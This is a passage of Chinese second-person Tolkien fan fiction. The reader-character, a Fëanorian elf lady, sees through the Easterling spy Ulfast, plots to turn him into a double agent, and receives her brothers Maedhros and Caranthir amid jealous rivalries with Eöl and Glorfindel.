格洛芬德尔还想再说点什么,但是你忽然举起手示意他安静,因为你观察到了远方的动静,追逐厮杀的声音传入你和格洛芬德尔的耳朵里,无论是你还是他的第一反应都是敌袭,你们赶紧通知这附近的巡逻队立刻调遣队伍防守边境,巡逻队的队长快马加鞭地前去报信,你和格洛芬德尔留在原地,你又看了一会,发现情况好像不是你们想的那样。 你和格洛芬德尔对视一眼,都从对方眼里看到了惊讶的神色,等增员的部队赶到的时候那群被半兽人追杀的人类也慌不择路地冲到你们所在的边境线,哭着喊着乞求你们的帮助。 你示意手下杀死那些半兽人,不过你这么做不代表你就完全接纳了这些人类,相反地,你还得要好好审问他们一遍才行。 这群人类和你在第一副本接触过的伊甸人不太一样,首先他们的身量没有伊甸人那么高大,而且皮肤黝黑,眼睛和头发大多为黑色,这些人类日后会被称之为“东来者”,而其中最臭名昭著的莫过于“该受诅咒的乌多”,不过这些都是后话了,因为这些东来者此刻刚刚脱险,还一副惊魂未定的模样,你让手下先好好招呼他们。 等他们差不多缓过来了你才找来他们的首领,这位首领身量不高,但双臂结实有力,他一见到你先是表达自己的感谢,而后又开始自报家门,说自己是乌方的儿子乌法斯特,你回忆了一下,这个名字你不太了解,但既然是那位叛徒乌方的儿子,想必他的儿子也好不到哪里去。 你装作没听过这个名字,“乌法斯特?还有你的父亲乌方,我全都没有听说过。” 乌法斯特说:“我们原本生活在东面听从内心声音的指引一直朝着西方前进,却不料遇到了那一群半兽人。” 你看似认真地听乌法斯特说着他们的故事,但实际上他们在来到西方之前就先遇到了魔苟斯,他展现出自己强大的一面,那可怕的实力令大部分东来者选择臣服,魔苟斯许诺然后会赠予他们一块丰饶的土地作为赏赐,当然,前提是他们得要满足他的条件。 而魔苟斯提出的条件就是让这些忠诚的东来者潜入精灵内部作 为卧底与魔苟斯里应外合,关键时刻再给予精灵致命一击,尤其是诺多精灵,魔苟斯对诺多精灵尤为憎恨,这份恨意从维林诺时期就开始了,在那场星下之战时达到极点。 诺多精灵一日不除,魔苟斯就一日不能安心,特别是那群费诺里安,魔苟斯特意叮嘱乌方以及他的儿子,尽其所能地博得费诺里安的信任,乌法斯特领到的任务就是潜入你的领地内成为卧底,为此魔苟斯还特意派出一支半兽人军队佯装袭击乌法斯特以及他的族人。 这就是乌法斯特对你隐瞒的所有事情了,同时也是他和族人在见到你之前的来龙去脉了,当然,作为一个合格的卧底,他现在仍然装出一副心有余悸的模样,他翻来覆去地感谢你伸出援手,“如果不是您,我们恐怕已经死在半兽人的刀下了。” 这样感谢的话语说一次就好了,他这么反复地说让你都感觉到了厌烦,你微微皱起眉,“这不过是举手之劳的小事,你不必一直说个不停。”而且比起这个你更想要听其他的事情,比如说他们从东方一直迁徙到西面都经历了什么,你说:“不如再来说说你们路上遇到的事情吧?你们之前难道没有遇到过半兽人吗?” 尽管乌法斯特在真正见到你之前他已经排练过许多遍,就连魔苟斯的军师索伦也叮嘱他到时候细节不能说太多,因为一旦细节太多了,反而容易出错引得精灵起疑心。 乌法斯特将索伦说的话谨记于心,他说的话都模棱两可,含糊不清,你听到后面忍不住笑了一下,乌法斯特不明所以地看了你一眼,眼神愣愣的,“您……我不明白您为什么会笑呢?” 虽然乌法斯特在见到你的第一眼时就被你美丽的外表所惊艳,但真正让他感到印象深刻的是你杀伐果决的手段,或许索伦先前说的话不完全都是正确的,他曾经对乌法斯特说你身为一位女精灵更加容易接近,但现在想来索伦远远低估了你的危险性。 一旦说错了话没准就会落得个跟半兽人一样的下场,乌法斯特看着你的笑容忽然就意识到了这一点,他的声音卡在喉咙里,不上不下的,就跟他现在的心情一样七上八下的。 “没什么,我只是在惊讶于你们的勇气,居然能凭借意志力从东面跨越千山万水来到这里。”你轻飘飘地说,坐在你对面的乌法斯特可笑不出来,他感知到你这番话里的试探意味,他顿了顿,“是的……人类的勇气是能够与精灵相媲美的。” “我喜欢你这样的说法。”你不再追问他关于过去的事情,乌法斯特也肉眼可见地松了一口气,他以为自己已经他通过了你的考察,殊不知只是掉进更大的陷阱里了而已。 “我很抱歉之前将你们当做入侵者,现在你们是这里的客人,好好享受接下来的宴会吧。”你说,乌法斯特的心思不在宴会上面,他也不想当个没那么重要的客人,他希望能够成为你的左膀右臂,这样才能获得更多有价值的情报,不过当前他还不能表现得太过急切,这样恐怕会招致你的怀疑,因此他点了点头,“那真是太感谢您了。” “你不应该感谢我,应该感谢你们的祖辈,带领你们穿越山川,我们才得以见面的。”你说着客气的套话,心里思索的都是如何利用对方,既然他是乌方的儿子,那说不定到时候可以利用他来威胁乌方,又或者是直接引导乌方来你的领地,转而让他们成为你在魔苟斯那边的双面间谍。 唉,魔苟斯肯定也没想到自己派出去的人后面还会再回到,甚至还会被策反吧?你都有些期待看到魔苟斯气恼的模样了。 等你结束和乌法斯特的谈话,格洛芬德尔就迎了上来,他说:“这些人类忽然出现在这里,而且还被半兽人追杀,这件事情很蹊跷。” 格洛芬德尔比你还要担心这些人类的威胁性,你摆摆手,“我都已经问清楚了,这一点你不用担心。” 第128章 第128章“如果是格洛芬德尔你…… 就这样,乌法斯特和他的族人就在你的领地定居下来,他们表现出谦虚好学的姿态,并且尽其所能地希望融入你的领地,但因为你在此之前特意叮嘱过其他精灵以及在你的领地里生活工作的精灵亦或是矮人对这些东来者心存警惕,所以尽管这些东来者已经表现得足够无害友好了,但其他的精灵对待他们仍有所保留,而这些带着目的而来的东来者也察觉到了这一点。 在某天夜里,趁着其他精灵都已经歇下了,他们聚在一起讨论日后的计划,虽说你出于好心收留了他们,但你还是对他们有所怀疑,这份怀疑如影随形,被众人簇拥着坐在中心的乌法斯特表情凝重,他当初带着自己的族人来到这里本身就肩负着重要任务,可是一段时间过去了,你的态度也丝毫不见软化的痕迹,再这样僵持下去,魔苟斯大人给他的任务又该何时才能完成呢? 想到这里,乌法斯特就说:“我明天就去毛遂自荐。” 乌法斯特的手下说:“这样会不会太突然了?那位精灵领主疑心病很重……”这句话说得不假,你确实是他见过疑心病最重的精灵领主了,更别提你身边的其他精灵,一个格洛芬德尔还有一个埃欧尔,甚至隔壁的加拉德瑞尔也不好对付。 他们现在陷入进退两难的境地,不进则退,乌法斯特摇了摇头,拒绝了手下的提议,“我们的时间耗不起。”他们人类和精灵可耗不起这个时间,而且魔苟斯也等不了太久,毕竟魔苟斯希望速战速决。 在场的东来者都不敢反驳他们的首领,于是就在这份沉默中乌法斯特决定明天怎么说都要去见你一面。 一夜过去,乌法斯特按照自己原定的计划先是请示了你的助手迪莉娅,这位黑发精灵若有所思地盯着乌法斯特看了许久,就在他以为她要看出点什么的时候,她忽然松口,“请稍等片刻,我去和领主大人说一声。” 这个计划的开头还算顺利,乌法斯特想,至少在遇到埃欧尔之前是非常顺利的,而埃欧尔的出现就是一个转折点,这位终日表情阴郁的泰勒瑞精灵在路过乌法斯特的时候莫名停下脚步,他的身量高大,投下的阴影将乌法斯特笼罩,他说:“你在这里做什么?” 埃欧尔不笑的时候整体的气质压抑而可怕,可就算他笑起来了,也不会显得他有多温和友善,顶多就是压抑的程度减轻了一点而已,聊胜于无的程度。 “我要找领主大人说些事情。”乌法斯特如实回答,他毫不 怀疑自己一旦说谎被发现,这位精灵转头就会告诉你。 “你要找弥尔洛斯?”埃欧尔直呼你的名字,在旁人面前他很少有机会这么称呼你,但只有他自己知道在私底下他时常在心里反复呢喃你的名字,这已经变成了他的一个不为人知的小习惯。 “是的……”乌法斯特没去看埃欧尔的双眼,他的眼神太过于尖锐。 埃欧尔沉吟片刻,“既然如此,我也有些事情要去找她,那我们不如同行吧。”他这话根本就不是什么邀请,而是一种命令,乌法斯特没有任何拒绝的余地。 “……好的。”乌法斯特说。 而埃欧尔那么说可不是心血来潮,而是他正好可以借由乌法斯特作为借口与你见一面,毕竟平日里格洛芬德尔总是待在你身边,要他说那家伙就跟一条忠心耿耿的狼犬似的,时刻提防着你身边会出现的危险,好吧,准确来说就是埃欧尔,这个诺多精灵对他的偏见从见到的第一面就开始了。 可怜的乌法斯特就这么成为了埃欧尔前来见你的一个借口,他现在还惴惴不安地担心埃欧尔会在去你的书房的路上说些什么,万一被他察觉到了什么那就糟糕了。 这一路上乌法斯特走得心惊胆战,如果说被你发现还有商量的余地,那么一旦被这位泰勒瑞精灵发现他是魔苟斯安排的卧底,恐怕他会毫不犹豫地杀死自己。 敏锐的埃欧尔也察觉到了对方的害怕,他似是无意地问道:“你在害怕什么?担心我会伤害你吗?” “那倒没有。”乌法斯特毕恭毕敬地说,埃欧尔马上接着回答:“那倒也是,毕竟这里也不是我的领地,我随意对你动手就是对这的精灵领主不敬,这点分寸我还是懂的。”更何况他要是真的这么做了,那个名叫格洛芬德尔的精灵肯定会借题发挥,说服你将他驱逐出境,这样一来,他就能心安理得地占据你的时间和注意力。 埃欧尔先来不吝于以最恶意的想法揣测自己的敌人,包括情敌。 乌法斯特对自己现在身处你的领地而感到庆幸,他说:“但我知道您是一位友善的精灵,不会随意对人类动手。” 埃欧尔似笑非笑,给出的回应也模棱两可,“是么,但我怎么觉得你是一个见风使舵的人类呢?” 话语间他们总算是到了你的书房,乌法斯特放松下来,迪莉娅恰好从书房里出来,发现门外站着的不止乌法斯特还有另外一个精灵埃欧尔,她愣了一下,与此同时你的声音也从门缝里飘出来,“他到了吗?” 准确来说应该是他们才对,迪莉娅心想,她转过头又对坐在办公桌后的你说:“除了乌法斯特还有埃欧尔大人也来了。” 你的脸上浮现出奇怪的神色,埃欧尔来这里做什么?听迪莉娅说的他这是和乌法斯特一同过来的?不等你回答,埃欧尔已经很自然地越过门口的迪莉娅走到你面前,面不改色地说谎,“我刚才在来的路上看见了迷失的乌法斯特,就知道他大概率是迷路了,所以就带着他过来了,如果你不介意的话,我能坐在旁边旁听吗?” 这么说来是他大发善心带着迷路的乌法斯特来这里?你怎么听怎么觉得奇怪,因为埃欧尔可没那么好心。 你没回应埃欧尔,而是示意乌法斯特先坐下,你说:“刚才迪莉娅已经和我说过了,他本人的意思是希望和我单独谈谈,我想你应该明白单独谈谈的意思是什么吧?” 埃欧尔没有退让,他反而没头没尾地又来了一句,“如果是格洛芬德尔你会对他说这番话吗?” “当然,虽然不知道为什么会让你产生这种错觉,但就算换做格洛芬德尔,我也依旧会那么说的。”你说,埃欧尔认真地看了你有一会,然后才有些不情不愿地离开,你让迪莉娅关上门,然后又开门见山地问乌法斯特,“那么你有什么想要对我说的吗?” 乌法斯特刚才亲眼目睹你与埃欧尔的对峙,他从你们的对话中微妙地感知到了什么,但他也不能确定这到底是他的错觉还是真的,他说:“我……这些天那我和我的族人都在您的领地上生活,您对待我们如同远道而来的客人,这样的生活太幸福了,以至于我们时常感激涕零,我们并非没有感恩之心的人类,因此我们也希望能够为您,为这片土地做出一些贡献。” 果然还是来了吗?你本来还在思索乌法斯特得要装到什么时候才会开始试探你,原来是今天啊,你说:“我能理解你们的心情,只不过比起做贡献,我更担心你的其他族人,比如你的父亲还有兄弟,他们都还好吗?如果可以的话,他们也能来我的领地定居,毕竟我们都是伊露维塔的子女,理应互帮互助。” 你的语调诚恳,仿佛真的在为乌法斯特还有他的父亲兄弟考虑,但实际上呢?你想的都是一旦他们来了这里,可就没那么容易离开了。 乌法斯特或许也是考虑到了这一点,他的神色里也透露出几分纠结犹豫,但如果他的父亲也来到这里,和你打好关系的话,自然而然地也能与其他费诺里安拥有友好的关系,到时候就能顺利打入诺多精灵内部。 这一举动确实有着风险,可是高风险伴随着的也是高回报,乌法斯特沉默许久,他终于开口,“谢谢您的好意,我会写信告知我的父亲和兄弟的,他们能够来到这里也是他们的荣幸。” 乌法斯特的话语说得滴水不漏,他没有说自己什么时候给自己的父亲兄弟写信,更没有说他们何时来到这里,他只是在表达对你的感谢。 他那么谨慎倒也不奇怪,你笑着说:“这又算什么荣幸呢?这只不过是互相帮助而已,或许日后我还需要你们的帮助呢?” “您言过了。”乌法斯特内心就在等待着这一天的到来,只要你向他们提出请求,他们都会欣然答应,然后在大战中途给你们致命一击。 你背靠着椅背,姿态有些懒洋洋的,“没有,我是说真的,而且你难道就没想到精灵和人类联合吗?一同对抗魔苟斯,让这片大陆重新恢复光明。” 第129章 第129章这封信无疑是给他提供…… 乌法斯特听你那么说,心中一喜,这不是变相达成了他的目的吗?他起初还在担心如何取得你的信任,现在你倒好,居然主动抛出这个橄榄枝,他当然不会错过,当即就说:“这也是我们的心愿,将魔苟斯驱逐出这片大陆。” “那么看来我们这是达成一致了?”你主动给乌法斯特倒了一杯茶,将茶杯送到他的手边,后者受宠若惊地练练道谢,用双手捧起茶杯,并没有着急喝茶,而是先回答你说的话,他说:“是的,我们达成了一致,请放心,我今天就给我的父亲还有兄弟写信,他们不日就会来这里拜访的。” 你单手托腮,“那真是太好了。” 乌法斯特逐渐从喜悦中清醒过来,他又想起现在还站在门外的埃欧尔,以及刚才埃欧尔和你之间的古怪氛围,他试探性地问道:“那么埃欧尔大人……现在要让他进来吗?” 噢,你差点给忘了还有埃欧尔这号精灵,既然你和乌法斯特已经聊得差不多了,那你本该叫埃欧尔进来的,但你没那么做,转而询问乌法斯特,“你真的是迷路了才让埃欧尔给你带路的吗?” 这是个非常难以回答的问题,因为很可能会得罪你们其中一个或者两个全都得罪了,出于谨慎起见,乌法斯特小心翼翼地问道:“您为什么会这么问呢?而且埃欧尔大人是您的朋友……” 你可不觉得埃欧尔是你的朋友,他更像是那个多疑的辛葛派来监视你这个诡计多端的费诺里安的。 “你是这么觉得的?”你挑起一边的眉。 乌法斯特意识到自己大概率是说错话了,他试图补救,“不……这只是我的猜测。” “既然只是你的猜测那就没必要说出口了,而 且你还没有回答我的问题。” 看来这个问题是没办法糊弄过去了,乌法斯特深吸一口气,“他确实是在半路遇到我的,但其实我并没有迷路,是埃欧尔大人自作主张地说要给我带路,我想他可能也有重要的事情要对您说,所以并没有拒绝他的邀请。”乌法斯特这么说直接把自己和埃欧尔的关系撇得干干净净,顺带把责任都丢到了埃欧尔身上,真是非常明智的选择。 在说完这话后他一直在不动声色地观察你的表情,等待着你的回应,过了好一会,你才说:“那我明白了,你可以先走了。” 乌法斯特一听你这么说,他忙不迭地起身就要离开,走到门口,打开门,不出意外地埃欧尔还站在门外,他们两个就这样打了个照面,埃欧尔的脸上没什么表情,一脸严肃,乌法斯特担心他听见刚才和你的对话,都不敢去看埃欧尔的眼睛,低着头快速从他身边离开,埃欧尔的视线也没有在乌法斯特身上停留太久,他只是轻飘飘地扫了一眼,然后就又转过头,看向你,问道:“现在轮到和我的对话了吗?” “是的,请进吧。”你对着埃欧尔做了个请的手势,埃欧尔走到书房里,径直在你对面坐下,他开门见山地说:“那个人类很可疑,我不相信你没发现这一点。” 桌上还留着乌法斯特没有喝完的茶水,飘着幽淡的茶香,你对埃欧尔说的话不以为意,不仅是这件事,应该说无论埃欧尔说什么你的反应都很平淡,这让埃欧尔感到不满,他认为你这是故意的,存心这么冷落他。 “你有狩猎过吗?” “当然。”虽然泰勒瑞精灵不像诺多精灵那样擅长狩猎,但他们平日里也会打猎。 “那你应该知道在狩猎的时候一丁点的风吹草动就会惊扰猎物让这场狩猎打水漂。”你说,埃欧尔这才意识到你早就已经发现了乌法斯特身上的可疑之处,这显得刚才那么询问的他像个蠢货,也许你就是故意那么做的,为的就是让他露出这幅窘态,想到这里,埃欧尔的脸色变得有点难看,他说:“你是故意那么做的吗?” “你指的是哪件事情?” “每一件事情。” 或许是觉得和他的对话太无聊了,你甚至抽出旁边的卷轴看起来,头也没抬,“你这话说的很奇怪,难道你做的每一件事情不是出自你的意志吗?还是说你的所作所为都是无意识的举动?” 你这是在偷换概念,他说:“你真是个惹人厌的诺多。” 你的手指轻轻地敲着桌面,看卷轴看到一半抬起头瞧了埃欧尔一眼,“你虽然嘴上是这么说的,但你心里可不是那么想的。” “搞得好像你知道我的内心一样。”埃欧尔恼羞成怒,他对你这幅总是云淡风轻的模样感到愤怒,为什么从始至终心情起伏不定的就只有他一个呢?你倒好,一直都置身事外仿佛在看一场戏。 “我知道,我当然知道。”你不再低头,而是直视着埃欧尔的双眼,后者如同被针刺了一下,慌乱地错开视线,他很少在你面前表露出手足无措的一面,这还算是第一次,他说:“你真把自己当成全能全知的智者了么!” 好吧,再这么说下去他估计得要炸毛了,你说:“我收回刚才那句话,对了,工坊那边的情况如何?”你一个急转弯把话题又绕回到了工坊的情况上,直接就开始聊工作了,果然一谈起工作埃欧尔的情绪就稳定了很多,他非常有条理地把工坊的情况还有改造向你一一道来。 在短短一个月的时间里他居然能做到这种程度,这就是你能容忍埃欧尔的怪脾气让他在这里待着的主要原因,那就是他的工作效率确实很高效,要不然你也不会让他留在这里的。 “那真是太感谢你了。” “光是口头上的感谢吗?看来你也就是个只会耍嘴皮子的诺多。” 你双手环胸,又问:“那你想要什么报酬呢?” “让格洛芬德尔那家伙离开这里。”埃欧尔一开口就是这个要求,看得出来他确实很讨厌格洛芬德尔。 “除了这件事。” 埃欧尔微微眯起眼睛,你果然非常偏爱那个诺多精灵,尤其是当他想起先前格洛芬德尔半是炫耀地在他面前说起和你在维林诺的往事,这让埃欧尔愈发感觉到不悦,他说:“他和你到底是什么关系?” “朋友。” “那他可不是那么想的。” 这就是让埃欧尔帮你做事的坏处了,他确实办事效率很高,但他最让你头疼的一点就是会怀疑你身边的精灵,总之就是一个疑心病非常严重的精灵,早在第一个副本的时候你就体验过他这种患得患失的疑心病了,他和你一同待在自己的领地里时就和你寸步不离,哪怕他有事情迫不得已要离开领地也会安排其他下属照顾你,说是照顾,但其实就是监视你的一举一动。 要不是现在是在你的领地上,你毫不怀疑他会对你做出和第一个副本如出一辙的事情。 “真稀奇,你怎么会关注这些事情呢?看来你在忙着监督工坊的同时还有很多闲工夫啊。”你凉飕飕地说。 埃欧尔被你的话噎住,哑口无言。 也是在这时,从书房离开的乌法斯特满心欢喜地给远在北方安格班的魔苟斯通风报信,说是他交给自己的任务即将圆满完成,收到这则通信的魔苟斯大喜,就连待在魔苟斯身边的勾斯魔格都察觉到了这份溢于言表的喜悦,索伦也在这时说:“看来乌法斯特已经顺利打入精灵内部,在不久之后精灵发动的反攻里再与我们里应外合。” 在场的无论是索伦还是勾斯魔格都能预想到那副场景,空气中洋溢着喜悦的气氛,魔苟斯也说:“很好,弥尔洛斯恐怕也没想到自己会被人类背叛吧,正好,那就让她尝尝被人类背叛的滋味吧!” 乌法斯特不仅给魔苟斯通风报信,还给自己的父亲以及兄弟一连写了好几封信,其中有一封信没有送到父亲乌方手上,而是几经辗转最后落到了卡兰希尔手里,因为乌方这段时间暂居在卡兰希尔的领地内,这位精灵领主拆开这封加急信后,发现这是来自乌方儿子乌法斯特的信件,而且更重要的是,这封信还是从他的妹妹弥尔洛斯,也就是你的领地送来的。 认真阅读这封信,卡兰希尔最先通知的精灵是迈兹洛斯,他们难得单独聚在一块,卡兰希尔送上乌法斯特的信件,迈兹洛斯说:“乌法斯特,他和乌方是什么关系?” 卡兰希尔如实回答:“他是乌方的儿子,现在应该在弥尔洛斯的领地。” 而乌法斯特在信里邀请自己的父亲还有兄弟前往你的领地,迈兹洛斯看着这内容,心里逐渐产生了一个想法,那就是借着乌方的名头去你的领地看看你,在此之前他就想过去看你,但是一来担心你还在气头上,二来又担心你们的关系恶化,所以他考虑了很多最终都没下定决心。 这封信无疑是给他提供了一个切入点。 第130章 第130章“许久不见了,我的两…… 这封信由乌法斯特写的信,在辗转多手以后终于交到了真正的收件人手上,也就是乌法斯特的父亲乌方,他看到信件里的内容心中一喜,但这份喜悦并没有持续多久,因为卡兰希尔又表示为了保证他们安全抵达你的领地,他身为精灵领主有必要一路护送他们。 卡兰希尔的这番话或许是真的出于好意,但乌方还是不由地会多想,他在思索难道是自己哪里露出了破绽吗?这才使得卡兰希尔要一路监视自己? 不,他现在更不能自乱阵脚,乌方显然比他的那些个儿子老练许多,哪怕面对卡兰希尔突然的提议他也没有多惊讶,至少表面上看起来是这样的,他说:“这样是否会太麻烦您了呢?” “这还论不上麻烦,而且既然你们是精灵的伙伴,那我们就有义 务也有责任保护你们的安全。“卡兰希尔认真地说。 话都说到这份上了,乌方再婉拒的话未免就显得太明显了,于是乌方只能顺着卡兰希尔的意思说:“好的,那真是太感谢您们了。” 后来乌方跟着卡兰希尔一同出发,还遇到了另外一支精灵队伍,那并非偶遇,而是事先商量好的计划,卡兰希尔还没和乌方说过,后者看到骑在马背上的迈兹洛斯,略带讶异地问道:“为什么迈兹洛斯大人也会在这里?” 卡兰希尔没说话,迈兹洛斯主动解释:“为了稳妥起见,我也有必要护送你们。” 真的只是为了稳妥起见吗?乌方忽然想到了什么,他想起你和其他费诺里安的关系因为多年前的一场会议而支离破碎,虽说还没有走到决裂的地步,但远没有以前在维林诺时期的亲近,所以他们那么做很可能也是为了给见你找一个合适的理由。 事实证明乌方的猜测是正确的,尽管路上卡兰希尔和迈兹洛斯以及他们的下属确实在尽心尽力地保护同行的人类,但他们很多时候都在用精灵语讨论你的事情。 “前不久凯勒巩不是刚刚去过她的领地吗?而且试探她的态度,发现她似乎也没有那么生气了。”卡兰希尔说。 那迈兹洛斯还想说就凭凯勒巩这性格,哪怕你真的把他拒之门外他都能去死乞白赖地求你开门,又或者是自己撬开门,所以他嘴里的情况听个大概就差不多了,也不能全都相信,否则到时候吃亏的还是自己。 “她对凯勒巩一向很有耐心。”迈兹洛斯说。 卡兰希尔觉得迈兹洛斯这是过度悲观了,“她对你也很有耐心。” “但我曾经做出过伤害她的举动。”迈兹洛斯还记得你当初在会议上的眼神,是那么厌恶他。 “那行吧,要不然你现在直接回自己的领地吧。”卡兰希尔的耐心本来就不多,现在都要被迈兹洛斯给耗光了,他的耐心见底,说话的语气都没之前那么好声好气了,“我自己去见她也好,反正你要担心那么多的事情。” 真的听卡兰希尔那么说了,迈兹洛斯就又沉默了,过了许久才开口,“既然都已经出发了。” 言下之意就是都已经在路上了就没有中途再回去的道理,卡兰希尔毕竟是迈兹洛斯的弟弟,对他的性格也很了解,知道他有时候就喜欢口是心非,现在就是典型的心口不一。 而乌方则是在一旁安静而不动声色地观察他们对话时细微的表情变化,看样子他们也很想快点见到你,他们这支队伍几乎中间都没怎么停下来休息过,又因为路上没有遇到其他拦路的黑暗生物,这一路走得非常顺利,乌方还在思考等见到你以后该如何与你拉近关系,虽然你现在似乎已经将他的儿子乌法斯特当成自己人看待,但根据乌法斯特显然传来的密信里不难看出你是个疑心病很重的精灵。 想到这里乌方就又开始庆幸,他从一开始就和自己那些儿子定好规矩,任何重要的信息都通过秘密渠道送到对方手上,那封邀请乌方去你的领地的信件走的是明面上的渠道,这也难怪会被卡兰希尔拆开检查。 眼看距离你的领地越来越近,乌方的内心也隐隐有些惴惴不安,他自己也搞不清这种不安从何而来,也许是因为他即将见到你,即将经历你的考验。 终于,他们这支队伍抵达你的领地边境线,防守的精灵士兵检查他们这群精灵和人类的身份后才让他们通行。 在场紧张的不止乌方一个,论起紧张程度那迈兹洛斯和他也是不相上下,他非常担心到时候看见你的第一面,他会在你的眼里找到如出一辙的厌恶。 卡兰希尔察觉到迈兹洛斯的僵硬,他说:“你有必要那么紧张吗?” 迈兹洛斯叹了一口气,“她要是还讨厌我,那我就不知道该怎么办才好了。” “不,其实你知道的,你只要满足她一开始的愿望就好。”卡兰希尔的意思就是让迈兹洛斯把至高王的王冠交出去,迈兹洛斯却陷入犹豫,他不希望你为此而被诅咒,甚至被魔苟斯盯上。 他们隔着一段距离看见站在宫殿大门口的你,你停留在阶梯上居高临下地俯视他们这支逐渐靠近的队伍,精灵的视力很好,无论是迈兹洛斯还是卡兰希尔都能看清楚你的身影和表情,迈兹洛斯没有看见你厌恶的神色,但你的脸上也没多少欣喜,只能说是面无表情,顶多就是带着几分礼貌。 迈兹洛斯的心里莫名变得空落落的,他知道自己不能奢望得到你的热烈欢迎,他似乎想太多了。 乌方也抬起头,他隐约看见站在你身边的乌法斯特,还有另外几位精灵,其中那位精灵的长相不像是诺多精灵,更像是泰勒瑞精灵,既然就连乌方都看见了,那么他身边这两位精灵不可能没看见。 他们也都在疑惑这到底是谁,卡兰希尔说:“这看上去不像是诺多精灵,是泰勒瑞吗?” 迈兹洛斯凝视着你身侧的埃欧尔,后者感知到对方打量的目光,也毫无畏惧地看了回去,他奇怪地问你,“你不是只邀请了那些人类来做客吗?那这些多出来的精灵又是怎么回事?” 格洛芬德尔听不得埃欧尔用这种语气质问你,他到底以为自己是你的什么啊?竟然问得那么理直气壮的,就好像自己有权利干涉你的决定一样,这让格洛芬德尔都替你感到了冒犯,因此他说:“那是弥尔洛斯的哥哥,不是什么‘多出来的精灵’。” “我没有问你,多嘴的精灵。”埃欧尔没好气地呛回去。 你没搭理这两个精灵的争论,因为你在想卡兰希尔和迈兹洛斯来这里又是为了什么,如果说凯勒巩来这就是单纯地凑热闹再来看望你,那么迈兹洛斯和卡兰希尔就不会做这种事情了。 耳边的争论愈演愈烈,让你感到吵闹,你这才开口,“够了,你们都给我安静一点。”你没有说谁对谁错,你只是希望他们现在都能闭上嘴巴安静一点。 虽然他们都很听话地闭嘴,但仍旧用眼神互相嘲讽,乌法斯特很识趣地离他们远一点,免得他们到时候打起来殃及自己。 你转头询问乌法斯特,“你的父亲还有兄弟怎么跟着费诺里安一块来的?” 乌法斯特也不知道会是这么个情况啊,他当初写的信就只是邀请父亲兄弟来这里,心里根本就没提那些个精灵领主,鬼知道他们怎么得知这个消息的。 “我不知道,但我能保证我当时只邀请了我的父亲和兄弟,我可以对着维拉起誓。”乌法斯特生怕自己惹来你的怀疑。 “为了这么一件小事倒也不至于对着维拉起誓,估计我们之间存在着什么误会吧。”话 语间迈兹洛斯他们已经来到宫殿大门口,你从阶梯上缓慢走下,对着乌方和他另外几个儿子表示欢迎,“欢迎你们的到来。” 乌方毕恭毕敬地对你行礼,与之形成鲜明对比的是他身边的那两个精灵,卡兰希尔还好一些,至少表情没有那么僵硬,但迈兹洛斯则是眼睛一眨不眨地盯着你看,你被他看得有些不自然地反问:“也不知道什么时候诺多开始流行起注目礼了?” 卡兰希尔笑着说:“这个嘛,我也不清楚啊,也许这只是迈兹洛斯的习惯吧。” 现场的气氛变得没有那么尴尬了,你的唇角也浮现出微弱的笑意,你说:“许久不见了,我的两位哥哥。” 迈兹洛斯这才开口,“你……不生我的气了吗?” 唉,说这话也得看场合吧?他倒好,也不顾其他人类和精灵在场就这么问,你撇撇嘴,“也不知道你们在路上花费了多少时间,应该没有遇到什么危险吧?” 你没有回答迈兹洛斯的问题,转而说起别的话题,迈兹洛斯也意识到自己这问题问得太唐突了,他说:“还好,没有花费太多时间,也没有遇到危险。” 130-140 第131章 第131章“难不成你还等着我安…… 你轻轻地点了点头,示意他们还是先进宫殿里再慢慢谈,不过比起和迈兹洛斯还有卡兰希尔叙旧,你更想先和乌法斯特的父亲乌方谈谈,因此在走到宫殿大厅内你就朝着乌法斯特递去一个眼神,后者顿时了然,就说:“我想弥尔洛斯大人应该有些话想对父亲您说的。” 乌方也是个明白人,他一听乌法斯特这么说,就顺其自然地跟在你身后去往僻静的偏厅谈话,离开前你将迪莉娅留了下来让她负责招待其他的人类还有精灵客人,在你走后她便说:“各位不妨先坐下休息一会,我已经让厨房准备了下午茶点心。” 迈兹洛斯对这些下午茶点心没什么兴趣,他看向埃欧尔,不解道:“这里怎么会有一个多瑞亚斯来的精灵?”他没有控制自己的音量,而且就算刻意压低了,就凭精灵的听力也能听得一清二楚,埃欧尔瞥了一眼迈兹洛斯,他对这个费艾诺的长子根本不可能有什么好感,有的只是厌烦。 “请注意你的言辞,这里毕竟不是你的领地,而且无论怎么说,这里的领主也将我当做座上宾,难道你是在质疑她的判断吗?”埃欧尔说,他刚才就看出来了你和迈兹洛斯的关系不算多好,甚至你还有意冷落他,这让埃欧尔不由得在内心发出嘲讽的笑声。 埃欧尔说得确实有道理,但因为他说得实在是太直接了,根本就没有给迈兹洛斯下来的台阶,迈兹洛斯微微眯起眼睛,“我和她之间的关系还轮不到一个泰勒瑞精灵来指摘。” 饶是平日里暴脾气的卡兰希尔也觉得不该在这种场合与其他精灵发生矛盾,毕竟没准你确实很喜欢这位泰勒瑞精灵呢?他们好不容易才找到机会与你见一面,可不能把这次见面给搞砸了,因此在过去通常都是迈兹洛斯调解其他费诺里安的矛盾,现在反倒变成了卡兰希尔充当调停者,他抓住迈兹洛斯的胳膊,不赞同地对着迈兹洛斯摇摇头。 还没等迈兹洛斯有所回应,埃欧尔倒是先出声了,“听你弟弟的话吧,他反倒是比你更加理智一些。”这话无异于火上浇油,格洛芬德尔见不得埃欧尔这么为难诺多精灵,因此就算以前这些费诺里安偶尔也会针对他,但此刻他还是站了出来,他说:“他们都是弥尔洛斯的哥哥,如果她知道你在这里这样煽风点火,你觉得她还会认为你是来帮忙的吗?” 果然格洛芬德尔就是会在关键时刻跳出来搅乱他的计划,埃欧尔不耐烦地“啧”了一声,但格洛芬德尔说的话还是起到了作用,因为埃欧尔确实不再这样挖苦讽刺了,而迈兹洛斯在事后也破天荒地对着格洛芬德尔低声道谢,他之前还有些看不惯这个追求你的诺多精灵,但是现在有埃欧尔作对比,他突然就意识到了格洛芬德尔的优点。 果然优点这种东西都是需要比较的。 这场差点就被掀起来的风波就在格洛芬德尔的阻止下戛然而止,另外一边的你和乌方他们相谈甚欢,至少在你看来这场对话完全按照你的计划进行,那些东来者也一步一步地走进你的圈套里,他们大概是觉得精灵都不会使用阴谋诡计吧,但你曾经是人类,很了解人类之间的尔虞我诈,直接除掉魔苟斯安排在精灵里的卧底就太可惜了一点。 他们身上还有很多利用价值,比如说可以利用他们反向刺探魔苟斯那边的军情,想着,你的心情大好,甚至都能忽略刚才见到迈兹洛斯而产生的几分烦闷。 